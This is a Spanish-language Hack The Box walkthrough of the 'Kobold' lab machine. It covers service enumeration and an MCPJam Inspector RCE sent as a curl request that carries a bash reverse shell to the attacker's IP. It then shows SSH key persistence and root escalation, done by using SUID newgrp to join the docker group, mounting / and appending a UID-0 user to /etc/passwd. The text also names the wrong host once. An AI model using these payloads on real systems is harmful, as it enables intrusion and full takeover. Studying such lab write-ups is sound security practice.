Descripción
Kobold es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Enumeración de subdominios para identificar una instancia de MCPJam Inspector
- Ejecución remota de comandos en MCPJam Inspector para obtener una shell de Linux
- Escalada de privilegios al acceder al grupo
dockermediante el comando SUIDnewgrpy la posibilidad de montar la carpeta/root
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.129.15.112.
$ ping -c 3 10.129.15.112
PING 10.129.15.112 (10.129.15.112) 56(84) bytes of data.
64 bytes from 10.129.15.112: icmp_seq=1 ttl=63 time=44.0 ms
64 bytes from 10.129.15.112: icmp_seq=2 ttl=63 time=45.1 ms
--- 10.129.15.112 ping statistics ---
3 packets transmitted, 2 received, 33.3333% packet loss, time 2003ms
rtt min/avg/max/mdev = 44.000/44.556/45.112/0.556 ms
La máquina está activa y con el TTL que iguala 63 (64 menos 1 salto), podemos asegurarnos de que es una máquina Unix. Ahora vamos a realizar un escaneo de puertos TCP con Nmap para verificar todos los puertos abiertos.
$ sudo nmap 10.129.15.112 -sS -Pn -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.15.112
Host is up (0.047s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
Nmap done: 1 IP address (1 host up) scanned in 3.93 seconds
Encontramos los puertos 22, 80, y 443 abiertos.
Enumeración
Luego realizamos un escaneo más avanzado, con versión del servicio y scripts.
$ nmap 10.129.15.112 -Pn -sV -sC -p22,80,443 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.15.112
Host is up (0.044s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 8c:45:12:36:03:61:de:0f:0b:2b:c3:9b:2a:92:59:a1 (ECDSA)
|_ 256 d2:3c:bf:ed:55:4a:52:13:b5:34:d2:fb:8f:e4:93:bd (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
443/tcp open ssl/http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
|_http-title: Did not follow redirect to https://kobold.htb/
| tls-alpn:
| http/1.1
| http/1.0
|_ http/0.9
| ssl-cert: Subject: commonName=kobold.htb
| Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb
| Not valid before: 2026-03-15T15:08:55
|_Not valid after: 2125-02-19T15:08:55
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.83 seconds
Obtenemos dos servicios: uno Secure Shell (SSH), y uno Hypertext Transfer Protocol (HTTP). Como no tenemos credenciales factibles para el servicio SSH, vamos a movernos al servicio HTTP. Nos movemos a la aplicación web y agregamos el host wingdata.htb al archivo /etc/hosts. El servicio HTTP está redirigiendo al servicio HTTPS.
$ echo '10.129.15.112 kobold.htb' | sudo tee -a /etc/hosts
Encontramos una página estática sobre una plataforma centralizada para la gestión de servicios internos y servicios de IA.
No encontramos más contenido en la página, nos movemos a enumerar los subdominios activos:
$ gobuster vhost -u https://kobold.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain -o vhost_enumeration -r -t 50 -k
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://kobold.htb
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
[+] Append Domain: true
[+] Exclude Hostname Length: false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
mcp.kobold.htb Status: 200 [Size: 466]
bin.kobold.htb Status: 200 [Size: 24402]
Encontramos dos subdominios: mcp y bin. Añadimos el primero al archivo /etc/hosts.
$ echo '10.129.15.112 mcp.kobold.htb' | sudo tee -a /etc/hosts
Después de abrir la página https://mcp.kobold.htb/ encontramos una instancia de la aplicación MCPJam Inspector, un cliente local de desarrollo para aplicaciones ChatGPT, MCP ext-apps y servidores MCP.
En las configuraciones encontramos que se utiliza la versión v1.4.2.
Explotación
La versión 1.4.2 y versiones anteriores son vulnerables a una vulnerabilidad de ejecución de código remoto (RCE), lo que permite que un atacante envíe una solicitud HTTP personalizada que despliegue la instalación de un servidor MCP, conduciendo a RCE, CVE-2026-23744. En el aviso, encontramos que un ataque de ejecución de código remoto (RCE) puede ser desencadenado al enviar una solicitud HTTP simple al host objetivo que esté ejecutando MCPJam Inspector. Vamos a adaptarlo a nuestro entorno para crear una terminal remota a la máquina remota, pero primero iniciamos un puerto TCP en escucha en el puerto 1234 usando nc -nvlp 1234.
$ curl https://mcp.kobold.htb/api/mcp/connect -k --header "Content-Type: application/json" --data '{"serverConfig":{"command":"bash","args":["-c", "bash -i >& /dev/tcp/10.10.15.158/1234 0>&1"],"env":{}},"serverId":"mytest"}'
Recibimos una terminal inversa como el usuario ben, perteneciente al grupo operator
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.15.158] from (UNKNOWN) [10.129.15.112] 40216
bash: cannot set terminal process group (1485): Inappropriate ioctl for device
bash: no job control in this shell
ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$ id
id
uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)
Post-Explotación
Abrimos una nueva terminal usando SSH al agregar una clave pública SSH al directorio personal del usuario, .ssh. Comenzamos generando la clave SSH.
$ ssh-keygen -t rsa -b 1024 -f id_rsa
Luego creamos la carpeta .ssh en el directorio /home/ben de la máquina remota y luego agregamos la clave pública generada.
ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$ mkdir -p /home/ben/.ssh
ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQCxMc1ZGyT/z98fBN4VTI2mZypa69dQpcQbG4jF0eC2Fu1w407j9azf2zFKzQi45w67Rgjubx0eT3+Oq+lfJp5WkVQCmmJKf16G8FzGFd/1WRP0NTjAAxm++vPcvs/oo8I+S7dJfkjlqUx4ns71f6QA5fM7FZHSxmtKut1bBA+6LQ== user@htb' > /home/ben/.ssh/authorized_keys
Entonces nos conectamos desde nuestra máquina usando SSH.
$ ssh -i id_rsa ben@kobold.htb
ben@kobold:~$ id
uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)
Encontramos un binario SUID interesante en el sistema, newgrp.
ben@kobold:~$ find / -perm -4000 2> /dev/null
/usr/bin/umount
/usr/bin/mount
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/fusermount3
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/su
/usr/lib/openssh/ssh-keysign
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
ben@kobold:~$ ls -l /usr/bin/newgrp
-rwsr-xr-x 1 root root 40664 May 30 2024 /usr/bin/newgrp
El comando newgrp se utiliza para cambiar el identificador actual de grupo durante una sesión de inicio de sesión. newgrp cambia el identificador de grupo real actual al grupo nombre dado, o al grupo predeterminado listado en /etc/passwd si no se proporciona nombre de grupo. Encontramos que Docker se utiliza en el sistema, pero no tenemos permisos para ejecutarlo, ya que no pertenecemos al grupo docker.
ben@kobold:~$ docker ps -a
permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.50/containers/json?all=1": dial unix /var/run/docker.sock: connect: permission denied
Podemos usar el newgrp para ser parte del grupo docker.
ben@kobold:~$ newgrp docker
ben@kobold:~$ docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
4c49dd7bb727 privatebin/nginx-fpm-alpine:2.0.2 "/etc/init.d/rc.local" 4 weeks ago Up About an hour 127.0.0.1:8080->8080/tcp bin
Podemos listar un contenedor en ejecución, 4c49dd7bb727, utilizando la imagen privatebin/nginx-fpm-alpine:2.0.2. Podemos usar Docker y esta imagen para montar la carpeta / de la máquina host en un nuevo contenedor y luego escribir archivos como usuario root en la máquina, como agregar un nuevo usuario root2, con contraseña passwordhtb y UID 0.
ben@kobold:~$ docker run -it --rm -v /:/host_fs --name temp-container --user root --entrypoint /bin/sh privatebin/nginx-fpm-alpine:2.0.2
/var/www # echo 'root2:$1$IX9v2U5o$tpsHTNLLik2uBXGO7OyIk0:0:0:root:/root:/bin/bash' >> /host_fs/etc/passwd
Ahora podemos salir del contenedor y abrir la sesión como el usuario root.
ben@kobold:~$ su root2
Password:
root@kobold:/home/ben# id
uid=0(root) gid=0(root) groups=0(root)
Flags
En la terminal root podemos recuperar las banderas user.txt y root.txt.
root@kobold:/home/ben# cat /home/ben/user.txt
<REDACTED>
root@kobold:/home/ben# cat /root/root.txt
<REDACTED>